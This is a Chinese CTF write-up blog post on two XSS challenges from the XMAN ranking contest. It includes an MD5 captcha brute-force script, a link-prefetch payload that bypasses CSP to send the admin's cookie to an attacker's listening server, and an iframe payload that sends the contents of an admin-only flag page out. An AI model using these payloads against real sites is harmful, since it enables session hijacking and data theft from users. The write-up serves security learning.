【XSS】XMAN个人排位赛xss赛题writeup

0x01 前言

讲道理,之前每次遇到xss的题就很发憷,因为不会呀,这次XMAN个人排位赛的两道xss赛题让我对于xss有了更深入的认识,这里整理一下writeup

0x02 xss1

首先,进入页面

是一个留言框,下面有一个md5后四位的校验码
然后写了一个python脚本用来生成校验码

import hashlib
for i in range(1000000):
    if hashlib.md5(str(i)).hexdigest()[:4]=='cdc1':
       print i 
       break

留言板嘛,很容易想到是xss,先用

<script>alert(1)</script>

试了一下,果然能弹窗,xss无疑了,并且发现这里的我写的语句只是单纯的被输出到了页面里,这样应该是一个非常简单的xss利用了。

然后fuzz了一下,发现这里没有过滤任何参数,所以很适合我这种新手呀。。。。
通过抓包看到的resoponse包的header,我们能够发现他的csp策略,定义了所以来源都要跟与本页面同源,因此可以用link预加载标签进行绕过。关于CSP的学习和绕过可以参考这篇文章http://www.jianshu.com/p/f1de775bc43e

然后写利用的js代码

<script>
var i=document.createElement("link");
i.setAttribute("rel","prefetch");
i.setAttribute("href","https://ip:port/?"+document.cookie);
document.head.appendChild(i);
</script>

在我们的服务器上,要

nc -l port

在href的属性里填写自己的服务器的ip和端口,这段代码的意思就是当对方admin查看我们的留言之后,就会自动的访问我们的服务器,服务器通过监听端口,来得到admin的cookie值。这里在admin的cookie中得到了flag

0x03xss2

打开页面,还是熟悉的页面,还是熟悉的套路。不过这次更难一些。
这里还是脚本跑验证码,然后发送留言,burp抓包发现这次没有这个CSP策略,fuzz之后发现他把单引号替换成了_下划线,所以可以利用双引号进行绕过。用上个xss的脚本打过去发现这次没有返回cookie。。想到了今年国赛有道xss的题也是没有cookie返回的题,又想到题目描述中说flag在flag.php里面,然后发现只有管理员才能访问flag.php,那么就很明显了,让admin用iframe打开一个flag.php的子窗口,然后子窗口中链接到我的服务器,这样就能将消息带给我了,我就能收到flag了。

<iframe id="test" src="http://202.112.51.217:43424/flag.php(这里是flag所在)" onload="test()"></iframe>
<script>
function test(){
  parent.window["location"].href="http://ip:port/?"+escape(document.getElementById("test").contentWindow.document.documentElement.outerHTML )
}
</script>

然后得到flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 第一次AK web,大佬们很厉害。。 easy_sign_in 直接看证书,看到一个flag in,后面有一个ip...
    zhazhami阅读 8,593评论 1 8
  • 漏洞挖掘与利用 测试环境的搭建 引言 为什么要搭建本地测试环境?我想下面的东西能够回答你的疑惑。 第二百八十五条 ...
    作业没写完阅读 8,745评论 0 4
  • 前段时间在学习Web安全方面的知识,对这方面有了进一步的了解,决定写文章记录下来,只是对Web安全方面知识的一些总...
    邱振源的博客阅读 5,037评论 0 1
  • 1、漏洞概述 XSS 是指攻击者在网页中嵌入客户端脚本,通常是 JavaScript 编写的恶意代码,当用户使 用...
    linkally阅读 5,663评论 2 10
  • 捉迷藏 题目url:http://218.76.35.75:20111/index.php 进去之后查看源码: 发...
    Pr0ph3t阅读 5,614评论 0 2

友情链接更多精彩内容